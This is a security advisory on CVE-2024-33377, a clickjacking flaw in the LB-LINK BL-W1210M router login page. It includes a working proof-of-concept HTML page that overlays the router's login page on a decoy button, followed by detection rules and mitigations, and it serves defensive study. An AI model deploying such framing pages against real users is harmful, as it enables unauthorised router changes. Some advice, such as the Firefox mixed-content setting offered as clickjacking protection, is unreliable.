CVE-2024-33377

Executive Summary

CVE-2024-33377 identifies a clickjacking vulnerability in the LB-LINK BL-W1210M v2.0 router’s administrator login page. This flaw allows an attacker to trick a victim into performing unintended actions (e.g., changing router settings, exfiltrating credentials) by embedding the login page in a transparent iframe over a malicious webpage. The vulnerability stems from the absence of X-Frame-Options or Content-Security-Policy: frame-ancestors headers, making the router’s admin interface susceptible to UI redressing attacks. No patch is currently available from the vendor, and the EPSS score is 0.0%, indicating low active exploitation in the wild. However, the risk is elevated for users on local networks where the router is accessible.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (router). No supply chain implications exist beyond the vendor’s lack of patch.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can host a malicious page accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; standard iframe embedding works.
• Privileges Required (PR): None (N) – No authentication needed to exploit.
• User Interaction (UI): Required (R) – Victim must click on the crafted page.
• Scope (S): Changed (C) – The vulnerable component (router) is different from the attacker’s host.
• Confidentiality (C): Low (L) – Potential credential theft via UI redressing.
• Integrity (I): Low (L) – Attacker can modify router settings.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 4.7 (Medium)
Threat Level: Medium – Exploitation requires user interaction but can lead to full router compromise.

Deep Dive & Mechanics

The LB-LINK BL-W1210M v2.0 router’s administrator login page does not include HTTP security headers that prevent framing. Specifically, the response lacks:

• X-Frame-Options: DENY or SAMEORIGIN
• Content-Security-Policy: frame-ancestors 'none'

This allows an attacker to create a malicious webpage that loads the router’s login page in an invisible iframe. By overlaying deceptive UI elements (e.g., fake buttons, forms), the attacker can trick the victim into clicking on the iframe, thereby performing actions on the router (e.g., logging in, changing DNS settings, enabling remote access). The attack is particularly dangerous on local networks where the router’s IP is predictable (e.g., 192.168.1.1).

Attack Flow:

1. Attacker hosts a webpage with an iframe pointing to http://192.168.1.1/login.htm.
2. The iframe is made transparent or positioned behind a decoy button.
3. Victim visits the malicious page and clicks the decoy button.
4. The click is intercepted by the iframe, triggering a login attempt or configuration change.
5. If the victim is already authenticated, the action is executed without further prompts.

Vulnerable vs. Patched Code

Vulnerable (BL-W1210M v2.0): The router’s HTTP response for the login page lacks framing protection. Example response headers:

HTTP/1.1 200 OK
Content-Type: text/html
...

No X-Frame-Options or Content-Security-Policy headers are present.

Patched (Hypothetical): A patched version would include:

HTTP/1.1 200 OK
Content-Type: text/html
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
...

Additionally, JavaScript-based frame-breaking code could be added:

if (top !== self) {
    top.location = self.location;
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• Target: LB-LINK BL-W1210M v2.0 router (default IP: 192.168.1.1)
• Attacker machine: Kali Linux with Python3
• Victim machine: Any browser (Chrome/Firefox)

Exploit Steps:

1. Create a malicious HTML file (clickjack.html):

<!DOCTYPE html>
<html>
<head>
<title>Clickjack PoC</title>
<style>
iframe {
    width: 800px;
    height: 600px;
    position: absolute;
    top: -100px;
    left: -100px;
    opacity: 0.5; /* For demonstration; set to 0 for stealth */
    z-index: 2;
}
button {
    position: absolute;
    top: 200px;
    left: 200px;
    z-index: 1;
    padding: 20px;
    font-size: 20px;
}
</style>
</head>
<body>
<button onclick="alert('You clicked the decoy!')">Click Me!</button>
<iframe src="http://192.168.1.1/login.htm"></iframe>
</body>
</html>

2. Host the file on a local web server: python3 -m http.server 8080
3. Victim accesses http://attacker-ip:8080/clickjack.html and clicks the button.
4. The click is intercepted by the iframe, potentially logging in or performing actions.

Note: For full exploitation, the attacker would need to craft a precise overlay to target specific form fields (e.g., username/password) or buttons (e.g., "Apply").

Blue Team (Defender)

Detection & Prevention:

• Monitor for unusual iframe embedding of router admin pages.
• Use browser extensions like "NoScript" or "uBlock Origin" to block framing.
• Implement network segmentation to isolate router management interfaces.
• Deploy a web application firewall (WAF) that adds X-Frame-Options headers to responses.

Honeypot:

• Set up a fake router login page that logs all iframe requests and alerts on suspicious framing attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to router IP (e.g., 192.168.1.1) with Referer header pointing to an external domain.
  • Unusual User-Agent strings from automated clickjacking tools.
• Host:
  • Browser console errors related to frame blocking (if CSP is later added).
  • Presence of iframe elements in web pages served from untrusted sources.
• File:
  • Malicious HTML files containing iframe tags pointing to router IPs.

Detection Engineering

YARA Rule

rule CVE_2024_33377_Clickjacking_Detection {
    meta:
        description = "Detects HTML files attempting to clickjack LB-LINK BL-W1210M router login page"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-33377"
    strings:
        $iframe = /<iframe[^>]*src=["']http:\/\/192\.168\.\d{1,3}\.\d{1,3}\/login\.htm["']/i
        $router_title = "BL-W1210M"
        $clickjack_style = /opacity:\s*0\s*;/
    condition:
        $iframe and ($router_title or $clickjack_style)
}

Sigma Rule

title: Clickjacking Attempt Against LB-LINK Router
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to router login page with suspicious Referer headers indicating clickjacking
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/login.htm'
        cs-referer:
            - 'http://*'
            - 'https://*'
    condition: selection
falsepositives:
    - Legitimate external access to router admin page (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-33377 Clickjacking Attempt on LB-LINK Router"; flow:to_server,established; content:"GET"; http_method; content:"/login.htm"; http_uri; content:"Referer|3a|"; http_header; pcre:"/Referer:\s*https?:\/\/(?!192\.168\.)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote administration on the router if not needed.
2. Change default admin credentials and use strong passwords.
3. Apply network segmentation – Place the router management interface on a separate VLAN.
4. Use a browser with clickjacking protection (e.g., Firefox with security.mixed_content.block_active_content enabled).

Long-term Fix:

• The vendor must release a firmware update that includes X-Frame-Options: DENY and Content-Security-Policy: frame-ancestors 'none' headers.
• Until then, users can mitigate by:
  • Adding a reverse proxy (e.g., Nginx) in front of the router that injects the missing headers.
  • Using a custom firewall rule to block iframe embedding (e.g., ModSecurity rule).

Workaround (Nginx Reverse Proxy):

server {
    listen 80;
    server_name router.local;
    location / {
        proxy_pass http://192.168.1.1;
        add_header X-Frame-Options DENY always;
        add_header Content-Security-Policy "frame-ancestors 'none'" always;
    }
}

Valters IT
DevSecOps & Cyber Threat Intelligence